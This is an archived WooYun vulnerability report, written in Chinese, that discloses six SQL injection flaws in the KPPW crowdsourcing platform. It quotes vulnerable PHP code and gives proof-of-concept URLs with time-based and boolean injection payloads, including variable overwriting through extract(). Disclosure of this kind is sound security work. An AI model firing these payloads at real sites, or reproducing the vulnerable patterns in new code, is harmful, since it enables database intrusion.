当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0110870

漏洞标题:KPPW最新版 6处注入

相关厂商:keke.com

漏洞作者: 路人曱

提交时间:2015-05-05 10:35

修复时间:2015-08-08 10:37

公开时间:2015-08-08 10:37

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-05: 细节已通知厂商并且等待厂商处理中
2015-05-10: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-07-04: 细节向核心白帽子及相关领域专家公开
2015-07-14: 细节向普通白帽子公开
2015-07-24: 细节向实习白帽子公开
2015-08-08: 细节向公众公开

简要描述:

洞太多啦

详细说明:

KPPW 最新版20150327
第一处注入:
漏洞文件:/control/tasklist.php

$m = intval($m);
$i = intval($i);
$s = intval($s);
$r = intval($r);
$o = intval($o);
$pd = intval($pd);


$m and $strUrl .="&m=".$m;
$s and $strUrl .="&s=".$s;
$r and $strUrl .="&r=".$r;
$i and $strUrl .="&i=".$i;
$pd and $strUrl .="&pd=".$pd;
$o and $strUrl .="&o=".$o;
$p and $strUrl .="&p=".intval($p);
$ky and $strUrl .="&ky=".$ky;


2处代码未对$p 参数进行intval

if (intval ( $p )) {
$strWhere .= " and a.province = ".intval($p);
$two=db_factory::get_table_data("*","witkey_district","upid=".$p);
}


intval判断 轻松绕过造成注入
证明:
http://127.0.0.1/kppw0327/index.php?do=tasklist&m=2&s=2&r=2&o=5&p=1 || sleep(5)

1.png


第二处注入:
/control/goodslist.php

$m and $strUrl .="&m=".intval($m);
$intPage and $strUrl .="&intPage=".intval($intPage);
$i and $strUrl .="&i=".intval($i);
$pd and $strUrl .="&pd=".intval($pd);
$o and $strUrl .="&o=".strval($o);
$p and $strUrl .="&p=".intval($p);
$ky and $strUrl .="&ky=".$ky;


$p参数依然没intval

if (intval ( $p )) {
$strWhere .= " and a.province = ".intval($p);
$two=db_factory::get_table_data("*","witkey_district","upid=".$p);
}


同样造成注入
证明:
http://127.0.0.1/kppw0327/index.php?do=goodslist&m=2&s=2&r=2&o=5&p=1 || 1=sleep(5)

2.jpg


第三处注入:
漏洞文件同上

if (intval ( $twoid )) {
$arrCitytwo = CommonClass::getDistrictById($twoid);
$strWhere .= " and a.city = ".intval($twoid);
$three=db_factory::get_table_data("*","witkey_district","upid=".$twoid);
$twoid and $strUrl .="&twoid=".intval($twoid);
}


类似一样的
证明:
http://127.0.0.1/kppw0327/index.php?do=goodslist&m=7&m=0&twoid=1xxx

3.jpg

漏洞证明:

第四处:
漏洞文件:/control/ajax/balance.php

$id=intval($id);
$orderId=intval($orderId);
$arrMemer=db_factory::get_one("select * from ".TABLEPRE."witkey_member where uid=".$gUid);
$twoPassword = keke_user_class::get_password ( $arrMemer['password'], $arrMemer['rand_code'] );
if (isset($formhash)&&kekezu::submitcheck($formhash)) {
$sec_code=kekezu::escape(trim($zfpwd));
$strMd5Pwd = keke_user_class::get_password ( $sec_code, $gUserInfo ['rand_code'] );
$arrUserInfo=db_factory::get_one(sprintf("select * from %switkey_space where uid=%d and sec_code='%s'",TABLEPRE,intval($gUid),$strMd5Pwd));
switch ($type){
case 'task':
$fina_type="pub_".$type;
$tips='你已经支付成功了,不需要再次支付!';
$stryzfUrl='index.php?do=task&id='.intval($id);
$strwzfUrl='index.php?do=yepay&type='.$type.'&id='.intval($id);
$strSql="select * from ".TABLEPRE."witkey_finance where obj_id=".intval($id)." and fina_action='.$fina_type.'";
break;
case 'goods':
$fina_type="buy_service";
$tips='你已经支付成功了,不需要再次支付!';
$stryzfUrl='index.php?do=goods&id='.intval($id);
$strwzfUrl='index.php?do=order&sid='.$id.'&step=step2&orderId='.$orderId.'&action=confirm_pay';
$strSql="select * from ".TABLEPRE."witkey_finance where order_id=".intval($orderId)." and fina_action='.$fina_type.'";
break;
case 'service':
$fina_type="buy_service";
$tips='你已经支付成功了,不需要再次支付!';
$stryzfUrl='index.php?do=goods&id='.intval($id);
$strwzfUrl='index.php?do=order&sid='.$id.'&step=step3&orderId='.$orderId.'&action=pay';
$strSql="select * from ".TABLEPRE."witkey_finance where order_id=".intval($orderId)." and fina_action='.$fina_type.'";
break;
case 'pubservice':
$tips='你已经支付成功了,不需要再次支付!';
$stryzfUrl='index.php?do=goods&id='.intval($id);
$strwzfUrl='index.php?do=yepay&type=service&id='.intval($id)."&orderId=".$orderId;
$strSql="select * from ".TABLEPRE."witkey_order where order_id=".intval($orderId)." and order_status='ok'";
break;
case 'gy':
$fina_type="buy_gy";
$tips['errors']['zfpwd'] = '你已经支付成功了,不需要再次支付!';
$stryzfUrl=NULL;
$strwzfUrl='index.php?do=gy&id='.$id.'&step=step3&orderId='.$orderId.'&action=pay';
$strSql="select * from ".TABLEPRE."witkey_order where order_id=".intval($orderId)." and order_status='ok'";
break;
case 'taskCash':
$fina_type="hosted_reward";
$tips='你已经支付成功了,不需要再次支付!';
$stryzfUrl='index.php?do=task&id='.intval($id);
$strwzfUrl="index.php?do=taskhandle&op=consign&taskId=".$id;
$strSql="select * from ".TABLEPRE."witkey_finance where obj_id=".intval($id)." and fina_action='.$fina_type.'";
break;
}
if($arrUserInfo && $type){
$arrFinance=db_factory::get_one($strSql);
if($arrFinance){
kekezu::show_msg($tips,$stryzfUrl,'','','success');


还是先看下kppw的参数获取方式

$_R = $_REQUEST;
$_R = kekezu::k_input ( $_R );
$_GET = kekezu::k_input($_GET);
$_POST = kekezu::k_input($_POST);
$_R and extract ( $_R, EXTR_SKIP );


可以看到$strSql是在每个case中赋值的 如果我们$type=xxx
进入switch却又进入不了每个case
那么可以自己传入$strSql参数

$arrFinance=db_factory::get_one($strSql);


在这里进入查询
证明:
此处需注册个账号 支付密码也得填你自己真正的支付密码 即可

4.png


第五处注入:
漏洞文件:/control/ajax/banner.php

if($_R['a']==1){
$arr['shop_background']="";
db_factory::updatetable(TABLEPRE."witkey_shop", $arr, "uid=".$_R['id']);
kekezu::show_msg('已清除','index.php?do=seller&id='.intval($id),NULL,NULL,'ok');
}elseif($_R['a']==2){
$arr['banner']="";
db_factory::updatetable(TABLEPRE."witkey_shop", $arr, "uid=".$_R['id']);
kekezu::show_msg('已清除','index.php?do=seller&id='.intval($id),NULL,NULL,'ok');
}


a 为1或2 都行
$_R['id'] 直接放入查询
证明:
http://127.0.0.1/kppw0327/index.php?do=ajax&view=banner&a=1&id=1xxxx

5.png


第六处注入:
漏洞文件:/control/articlelist.php

<?php defined ( 'IN_KEKE' ) or exit ( 'Access Denied' );
$strNavActive = 'articlelist';
$strUrl = $_K['siteurl']."/index.php?do=articlelist";
$catid and $strUrl .="&catid=".intval($catid);
$intPage and $strUrl .="&intPage=".$intPage;
$arrArtCats = kekezu::get_table_data ( "*", "witkey_article_category", "cat_type='article' and art_cat_pid=1", "listorder asc", "", "", "", null );
$page and $intPage = intval($page);
$intPage = intval ( $intPage ) ? $intPage : 1;
$intPagesize = intval ( $intPagesize ) ? $intPagesize : 20;
intval($catid) and $intCatid = intval($catid) or $intCatid = intval($arrArtCats['0']['art_cat_id']);
$intCatid and $strWhere .= " and a.art_cat_id = $intCatid";
$strWhere.=" and a.is_show!=2";
$strWhere .=" order by is_recommend desc,a.listorder asc,pub_time desc";
$strSql = "select a.* ,b.cat_name from " . TABLEPRE . "witkey_article a left join " . TABLEPRE . "witkey_article_category b on a.art_cat_id=b.art_cat_id where b.cat_type='article' $strWhere";


$strWhere第一次出现都是 $strWhere .= 来添加 未见到定义
那么可以直接传入初始值 后面都是 .= 添加 无影响
证明:
http://127.0.0.1/kppw0327/index.php?do=articlelist&strWhere=%20and%201=1%23

6.jpg

修复方案:

漏洞应该还有很多 仔细检查下

版权声明:转载请注明来源 路人曱@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-08-08 10:37

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

暂无